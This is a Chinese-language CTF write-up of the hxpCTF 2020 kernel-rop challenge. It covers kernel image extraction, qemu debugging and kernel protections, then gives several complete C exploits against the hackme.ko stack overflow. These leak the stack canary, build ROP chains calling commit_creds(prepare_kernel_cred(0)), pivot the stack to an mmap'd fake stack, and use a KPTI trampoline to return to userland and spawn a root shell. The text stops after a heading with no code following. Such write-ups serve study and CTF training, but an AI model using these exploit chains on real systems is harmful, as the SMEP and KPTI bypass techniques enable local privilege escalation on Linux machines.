例题是 hxpCTF 2020 里的 kernel-rop
,题目链接:https://ctftime.org/task/14383
会给出的文件 一般来说,题目会给出几个文件,以该题为例:
vmlinuz:压缩的内核,有时是 bzImage
,因为是压缩文件,所以要提取出内核 ELF 文件,一般会用一段脚本extract-vmlinux.sh
来提取。
initramfs.cpio.gz:压缩的 Linux 文件系统,有漏洞的文件也存在其中,所以一开始要解压缩。
run.sh:包含 qemu 运行命令的 shell 脚本,我们可以在这里更改 qemu 和 Linux 启动配置。
初始工作 Linux 内核,通常以 vmlinuz 或 bzImage 的名称给出,是称为 vmlinux 的内核映像的压缩版本。一般用脚本 extract-vmlinux.sh
提取出内核 ELF 文件 vmlinux
。
1 ./extract-vmlinux.sh ./vmlinuz > vmlinux
extract-vmlinux.sh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #!/bin/sh check_vmlinux() { readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { for pos in `tr "$1 \n$2 " "\n$2 =" < "$img " | grep -abo "^$2 " ` do pos=${pos%%:*} tail -c+$pos "$img " | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img " ]then echo "Usage: $me <kernel-image>" >&2 exit 2 fi tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp " 0try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd check_vmlinux $img echo "$me : Cannot find vmlinux." >&2
可以使用 Ropper 工具来找到一些 gadget,存放在 rop 文件中
1 ropper --file ./vmlinux --nocolor > rop
文件系统分析 因为漏洞文件和一些重要信息存在于 initramfs.cpio.gz 中,所以我们先要解压它,这边使用一个脚本 decompress.sh
解压会更方便
1 2 3 4 5 6 mkdir initramfs cd initramfscp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio
执行完的效果就是,在当前目录下创建了一个 initramfs 文件夹用于存放 initramfs.cpio.gz 解压后的东西,可以将它看成是 Linux 机器上文件系统的根目录。漏洞文件 hackme.ko 也在其中,先将它复制到 initramfs 路径稍后进行分析。
压缩完的文件夹的中,/etc
文件夹中一般会存放启动后运行的初始化脚本,例如这个题中的 inittab
(有的时候会以 init 的名称存放在根目录下)
1 2 ::sysinit:/etc/init.d/rcS ::once:-sh -c 'cat /etc/motd; setuidgid 1000 sh; poweroff'
第一行表示执行的文件,我们跟进/etc/init.d
打开 rcS
文件可以发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/bin/sh /bin/busybox --install -s stty raw -echo chown -R 0:0 / mkdir -p /proc && mount -t proc none /proc mkdir -p /dev && mount -t devtmpfs devtmpfs /dev mkdir -p /tmp && mount -t tmpfs tmpfs /tmp echo 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictchmod 400 /proc/kallsyms insmod /hackme.ko chmod 666 /dev/hackme
内核在启动后是加载了hackme.ko模块,同时赋予其666的权限。
第二行有一个很重要的东西就是权限修改的指令
1 2 setuidgid 1000 sh setuidgid 0 sh
将其改为 0 (即 root 权限),可以方便我们获取有用的信息,例如:
/proc/kallsyms:列出加载到内核中的所有符号的所有地址。
/sys/module/core/sections/.text:显示内核 .text 部分的基地址。(有时也可以在运行的内核中直接用lsmod
查看)
当我们对 initramfs 文件夹中内容修改后要进行压缩,这里给出一个一键压缩的脚本 compress.sh
1 2 3 4 5 6 7 gcc -o exp -static ./exp mv ./exp ./initramfs cd initramfsfind . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../
前两行是编译利用代码并将其放入文件系统。
qemu 运行脚本 给出的 run.sh
脚本内容如下:
1 2 3 4 5 6 7 8 9 10 11 qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
先来看看这些都是啥意思:
因为我们要使用 gdb 远程调试,所以要在最后加上参数 -s
最终结果就是:
1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \ -s
之后就可以调试了,现在一个终端中启动程序,再在另一个终端 中启动 gdb
调试需要加载 .ko 文件的符号表,可以通过 add-symbol-file hackme.ko textaddr
来加载,textaddr 就是 .text 的基地址
1 2 3 $ gdb vmlinux (gdb) add-symbol-file hackme.ko textaddr (gdb) target remote localhost:1234
ropper 得到 gadget 有时候虚拟机内存设置太小会导致中断
1 ropper --file ./vmlinux --nocolor > rop
内核的保护 介绍一下内核都有哪些保护:
Stack Canary
:顾名思义,和用户态完全相同,无法禁用。
KASLR
:内核地址空间布局随机化,类似于用户态的 ASLR
,启动时,通过 kaslr
或 nokaslr
在 -append
选项下启用/禁用。
SMEP
:处于内核态时无法执行用户态代码 ,通过设置 CR4 寄存器的第 20 位来启用,启动时,通过 +smep
在 -cpu
选项下启用,nosmep
在 -append
选项下禁用。
SMAP
:处于内核态时无法执行用户态数据 ,通过设置 CR4 寄存器的第 21 位来启用,同 smep
KPTI
:内核页表隔离,通过把进程页表按照用户空间和内核空间隔离成两块来防止内核页表泄露。可以在-append
选项下添加 kpti=1
或 nopti
来启用或禁用它。
分析内核模块 直接看题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ssize_t __fastcall hackme_write (file *f, const char *data, size_t size, loff_t *off) { int tmp[32 ]; if ( _size > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 4096LL , _size); BUG(); } _check_object_size(hackme_buf, _size, 0LL ); if ( copy_from_user(hackme_buf, data, v5) ) return -14LL ; _memcpy(tmp, hackme_buf); } ssize_t __fastcall hackme_read (file *f, char *data, size_t size, loff_t *off) { int tmp[32 ]; _memcpy(hackme_buf, tmp); if ( _size > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 4096LL , _size); BUG(); } _check_object_size(hackme_buf, _size, 1LL ); v6 = copy_to_user(data, hackme_buf, _size) == 0 ; }
漏洞很明显,读取/写入了长度为 0x80 字节(32*4)的缓冲区,但在 0x1000 时才警告缓冲区溢出。
漏洞利用 接下来会讲不同的保护开启时,该如何应对。
仅 Stack Canary 用户态时,做法是泄露 canary 然后栈溢出劫持返回地址;内核态也是一样的。
先把其他保护都关闭,把 run.sh 改成如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/sh qemu-system-x86_64 \ -m 128M \ -cpu kvm64 \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nopti nosmep nosmap nokaslr quiet panic=1" \ -s
打开设备 首先要打开设备,在哪看打开的设备呢?
就是在之前说到的/etc/init.d/rcS
,当然不同的题目有不同的路径。
1 2 3 4 5 6 7 8 9 10 11 12 int global_fd;void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } }
泄露 canary 因为 leak 数组定义的是 unsigned long,每个元素是 8 个字节,所以 canary 会在偏移量为 16 的地方。
1 2 3 4 5 6 7 8 9 10 11 unsigned long cookie;void leak (void ) { unsigned n = 20 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; printf ("[*] Leaked %zd bytes\n" , r); printf ("[*] Cookie: %lx\n" , cookie); }
覆盖返回地址 值得注意的是,在调用 hackme_read
时,多压入了 r12 和 rbx,所以要用 0 进行填充
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void overflow () { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_root; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); }
获取 root 权限 调用内核态的函数 commit_creds(prepare_kernel_cred(0))
,因为 KASLR
被禁用,所以地址可以直接搜
1 2 3 4 cat /proc/kallsyms | grep commit_creds -> ffffffff814c6410 T commit_creds cat /proc/kallsyms | grep prepare_kernel_cred -> ffffffff814c67f0 T prepare_kernel_cred
1 2 3 4 5 6 7 8 9 10 void get_root () { __asm__( "movabs rax, 0xffffffff814c67f0;" "xor rdi, rdi;" "call rax; mov rdi, rax;" "movabs rax, 0xffffffff814c6410;" "call rax;" ); }
也可以用另一种方式
1 2 3 4 5 6 7 8 size_t commit_creds = 0xffffffff814c6410 , prepare_kernel_cred = 0xffffffff814c67f0 ;void get_root () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); }
跳回用户态 拿到权限后,就需要跳回用户态执行 shell 了,一般会通过 iretq 来返回用户态,iretq 指令会按顺序弹出五个寄存器,所以在栈中按相反的顺序设置相应寄存器就行。
当然在这之前得先执行一条叫 swapgs 的指令,用于交换内核态和用户态之间的 GS 寄存器。
利用内联汇编就能省去找地址的过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned long user_rip = (unsigned long )get_shell;void escalate_privs (void ) { __asm__( "movabs rax, 0xffffffff814c67f0;" "xor rdi, rdi;" "call rax; mov rdi, rax;" "movabs rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ); }
当然也可以直接在 overflow 的 payload 中呈现,当然这样就要找到 swapgs 和 iretq 的 gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void overflow () { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_root; payload[off++] = payload[off++] = payload[off++] = (unsigned long )get_shell; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); }
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd; void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } unsigned long user_cs, user_ss, user_rflags, user_sp;void save_state () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] Saved state" ); } void print_leak (unsigned long *leak, unsigned n) { for (unsigned i = 0 ; i < n; ++i) { printf ("%u: %lx\n" , i, leak[i]); } } unsigned long cookie;void leak (void ) { unsigned n = 20 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; printf ("[*] Leaked %zd bytes\n" , r); printf ("[*] Cookie: %lx\n" , cookie); } void get_shell (void ) { puts ("[*] Returned to userland" ); if (getuid() == 0 ){ printf ("[*] UID: %d, got root!\n" , getuid()); system("/bin/sh" ); } else { printf ("[!] UID: %d, didn't get root\n" , getuid()); exit (-1 ); } } void get_root (void ) { __asm__( "movabs rax, 0xffffffff814c67f0;" "xor rdi, rdi;" "call rax; mov rdi, rax;" "movabs rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ); } unsigned long user_rip = (unsigned long )get_shell;void overflow (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_root; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } int main () { save_state(); open_dev(); leak(); overflow(); puts ("[!] Should never be reached" ); return 0 ; }
添加 SMEP 处于内核态时用户态代码不可执行,当开启了 SMEP 保护后,上述代码就不能执行了,因为代码是保存在用户态的,有点类似于用户态的 NX 保护,堆栈不可执行。
我们将假设两种情况:
可以向内核堆栈写入任意数量的数据。
只能覆盖到内核堆栈的返回地址,利用栈迁移。
情况一 之前有说到,内核会根据 CR4 寄存器的第 20 位判断是否启用了 SMEP 保护。在漏洞利用时可以关掉这个保护,例如可以用带有 mov cr4, rdi
之类的 asm 指令来修改寄存器中的内容,或者找到带有 mov cr4
的 gadget ,或者利用一个叫 native_write_cr4()
的函数,该函数会使用参数覆盖 CR4 的内容,并且它本身也处在内核态中。
native_write_cr4()
查找方式和 commit_creds() 函数一样
1 2 cat /proc/kallsyms | grep native_write_cr4 -> ffffffff814443e0 T native_write_cr4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned long user_rip = (unsigned long )get_shell;unsigned long pop_rdi_ret = 0xffffffff81006370 ;unsigned long native_write_cr4 = 0xffffffff814443e0 ;void overflow (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0x6f0 ; payload[off++] = native_write_cr4; payload[off++] = (unsigned long )get_root; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); }
然而在运行时,程序报错了
其中有一行
1 [ 5.568225] unable to execute userspace code (SMEP?) (uid: 1000)
查阅发现这种方法已经不可取了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void native_write_cr4 (unsigned long val) { unsigned long bits_changed = 0 ; set_register: asm volatile ("mov %0,%%cr4" : "+r" (val) : : "memory" ) ; if (static_branch_likely(&cr_pinning)) { if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) { bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits; val = (val & ~cr4_pinned_mask) | cr4_pinned_bits; goto set_register; } WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n" , bits_changed); } }
新的内核版本对此做了对应的防御措施,即内核启动后不管 CR4 如何赋值,内核会立刻将其改变回原来的值。
所以可以通过 ROP 链来 get shell,这样就是在内核中运行了
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } unsigned long user_cs, user_ss, user_rflags, user_sp;void save_state () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] Saved state" ); } void print_leak (unsigned long *leak, unsigned n) { for (unsigned i = 0 ; i < n; ++i) { printf ("%u: %lx\n" , i, leak[i]); } } unsigned long cookie;void leak (void ) { unsigned n = 20 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; printf ("[*] Leaked %zd bytes\n" , r); printf ("[*] Cookie: %lx\n" , cookie); } void get_shell (void ) { puts ("[*] Returned to userland" ); if (getuid() == 0 ){ printf ("[*] UID: %d, got root!\n" , getuid()); system("/bin/sh" ); } else { printf ("[!] UID: %d, didn't get root\n" , getuid()); exit (-1 ); } } unsigned long user_rip = (unsigned long )get_shell;unsigned long pop_rdi_ret = 0xffffffff81006370 ;unsigned long pop_rdx_ret = 0xffffffff81007616 ; unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; unsigned long commit_creds = 0xffffffff814c6410 ;unsigned long prepare_kernel_cred = 0xffffffff814c67f0 ;unsigned long swapgs_pop1_ret = 0xffffffff8100a55f ; unsigned long iretq = 0xffffffff8100c0d9 ;void overflow (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0x0 ; payload[off++] = prepare_kernel_cred; payload[off++] = pop_rdx_ret; payload[off++] = 0x8 ; payload[off++] = cmp_rdx_jne_pop2_ret; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = mov_rdi_rax_jne_pop2_ret; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = commit_creds; payload[off++] = swapgs_pop1_ret; payload[off++] = 0x0 ; payload[off++] = iretq; payload[off++] = user_rip; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } int main () { save_state(); open_dev(); leak(); overflow(); puts ("[!] Should never be reached" ); return 0 ; }
这里补充一下第二种方法,构造 fake_tty_struct :https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/bypass-smep/
情况二 溢出的字节只够覆盖到返回地址,和用户态 pwn 一样,需要用到栈迁移。
内核态栈迁移相比用户态要容易得多,因为可以直接通过 asm 指令来给 esp
赋值。
我们用工具找到了一个 gadget ,是将 esp 赋值为 0x5b000000
1 unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a ;
再通过 mmap 函数创建一个假堆栈
1 2 3 4 5 6 7 8 9 void build_fake_stack (void ) { fake_stack = mmap((void *)0x5b000000 - 0x1000 , 0x2000 , PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1 , 0 ); unsigned off = 0x1000 / 8 ; fake_stack[0 ] = 0xdead ; fake_stack[off++] = 0x0 ; fake_stack[off++] = 0x0 ; fake_stack[off++] = pop_rdi_ret; ... }
这里将页面映射到 0x5b000000 - 0x1000 而不是 0x5b000000,是因为 prepare_kernel_cred() 和 commit_creds() 之类的函数会调用其中的其他函数,从而导致堆栈增长。 如果我们将我们的 esp 指向页面的确切开头,那么堆栈将没有足够的空间增长并且它会崩溃。
而且我们必须在第一页(0x1000/页)中写入一个虚拟值,不然会遇到 Double Fault,之后就是和之前一样了
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } unsigned long user_cs, user_ss, user_rflags, user_sp;void save_state () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] Saved state" ); } void print_leak (unsigned long *leak, unsigned n) { for (unsigned i = 0 ; i < n; ++i) { printf ("%u: %lx\n" , i, leak[i]); } } unsigned long cookie;void leak (void ) { unsigned n = 20 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; printf ("[*] Leaked %zd bytes\n" , r); printf ("[*] Cookie: %lx\n" , cookie); } void get_shell (void ) { puts ("[*] Returned to userland" ); if (getuid() == 0 ){ printf ("[*] UID: %d, got root!\n" , getuid()); system("/bin/sh" ); } else { printf ("[!] UID: %d, didn't get root\n" , getuid()); exit (-1 ); } } unsigned long user_rip = (unsigned long )get_shell;unsigned long pop_rdi_ret = 0xffffffff81006370 ;unsigned long pop_rdx_ret = 0xffffffff81007616 ;unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; unsigned long commit_creds = 0xffffffff814c6410 ;unsigned long prepare_kernel_cred = 0xffffffff814c67f0 ;unsigned long swapgs_pop1_ret = 0xffffffff8100a55f ; unsigned long iretq = 0xffffffff8100c0d9 ;unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a ; unsigned long *fake_stack;void build_fake_stack (void ) { fake_stack = mmap((void *)0x5b000000 - 0x1000 , 0x2000 , PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1 , 0 ); unsigned off = 0x1000 / 8 ; fake_stack[0 ] = 0xdead ; fake_stack[off++] = 0x0 ; fake_stack[off++] = 0x0 ; fake_stack[off++] = pop_rdi_ret; fake_stack[off++] = 0x0 ; fake_stack[off++] = prepare_kernel_cred; fake_stack[off++] = pop_rdx_ret; fake_stack[off++] = 0x8 ; fake_stack[off++] = cmp_rdx_jne_pop2_ret; fake_stack[off++] = 0x0 ; fake_stack[off++] = 0x0 ; fake_stack[off++] = mov_rdi_rax_jne_pop2_ret; fake_stack[off++] = 0x0 ; fake_stack[off++] = 0x0 ; fake_stack[off++] = commit_creds; fake_stack[off++] = swapgs_pop1_ret; fake_stack[off++] = 0x0 ; fake_stack[off++] = iretq; fake_stack[off++] = user_rip; fake_stack[off++] = user_cs; fake_stack[off++] = user_rflags; fake_stack[off++] = user_sp; fake_stack[off++] = user_ss; } void overflow (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = mov_esp_pop2_ret; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } int main () { save_state(); open_dev(); leak(); build_fake_stack(); overflow(); puts ("[!] Should never be reached" ); return 0 ; }
添加 KPTI 内核页表隔离,完全分离用户态和内核态。系统存有两种页表,一种页表包含所有的用户空间地址与内核空间地址,仅能在内核态使用;一种页表包含用户空间地址和小部分内核地址,只在用户态使用。
开启了 KPTI 保护后,之前的方法都会失效,报错类型均为 segment fault
这说明我们已经返回了用户态,但是由于我们使用的 gadget 所属的页表仍处于内核态,所以无法执行。
有两种方法来绕过 KPTI 保护:
利用 segment fault,段异常错误,系统发生异常时会去寻找异常处理函数,可以使用 signal handler 复写 segment fault 对应的异常处理函数,通过 signal(SIGSEGV, get_shell) ;将其改为我们所对应的获取 shell 的函数地址,则程序发生 segment fault 时将自动执行我们指定的函数
借助 KPTI trampoline 技术,该技术基于思想:如果系统调用正常返回,那么内核中必须有一段代码将页表交换回用户态表 ,因此我们将尝试重用这些代码。这段代码称为KPTI trampoline,它所做的是交换页表、swapgs 和 iretq。
现在主要来说说第二种,说白了就是利用一段代码构造 payload 跳到用户态:
这段代码位于一个叫 swapgs_restore_regs_and_return_to_usermode()
的函数中,同样可以用指令找到它的地址
1 2 cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode -> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
反汇编结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 .text:FFFFFFFF81200F10 pop r15 .text:FFFFFFFF81200F12 pop r14 .text:FFFFFFFF81200F14 pop r13 .text:FFFFFFFF81200F16 pop r12 .text:FFFFFFFF81200F18 pop rbp .text:FFFFFFFF81200F19 pop rbx .text:FFFFFFFF81200F1A pop r11 .text:FFFFFFFF81200F1C pop r10 .text:FFFFFFFF81200F1E pop r9 .text:FFFFFFFF81200F20 pop r8 .text:FFFFFFFF81200F22 pop rax .text:FFFFFFFF81200F23 pop rcx .text:FFFFFFFF81200F24 pop rdx .text:FFFFFFFF81200F25 pop rsi .text:FFFFFFFF81200F26 mov rdi, rsp .text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004 .text:FFFFFFFF81200F32 push qword ptr [rdi+30h] .text:FFFFFFFF81200F35 push qword ptr [rdi+28h] .text:FFFFFFFF81200F38 push qword ptr [rdi+20h] .text:FFFFFFFF81200F3B push qword ptr [rdi+18h] .text:FFFFFFFF81200F3E push qword ptr [rdi+10h] .text:FFFFFFFF81200F41 push qword ptr [rdi] .text:FFFFFFFF81200F43 push rax .text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89 ...
只需要关注它交换页表、swapgs 和 iretq 的部分,也就是 swapgs_restore_regs_and_return_to_usermode + 22
,即第一个 mov 的位置。
然后就是最重要的部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89: .text:FFFFFFFF81200F89 pop rax .text:FFFFFFFF81200F8A pop rdi .text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088 .text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080 ... .text.native_swapgs:FFFFFFFF8146D4E0 push rbp .text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp .text.native_swapgs:FFFFFFFF8146D4E4 swapgs .text.native_swapgs:FFFFFFFF8146D4E7 pop rbp .text.native_swapgs:FFFFFFFF8146D4E8 retn ... .text:FFFFFFFF8120102E mov rdi, cr3 .text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067 ... .text:FFFFFFFF81201067 or rdi, 1000h .text:FFFFFFFF8120106E mov cr3, rdi ... .text:FFFFFFFF81200FC7 iretq
值得注意的是,它 pop 了两个寄存器( rax & rdi ),所以我们在构造 payload 的时候,要把这两个寄存器赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 void overflow (void ) { payload[off++] = commit_creds; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = user_rip; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; }
完整exp 法一:
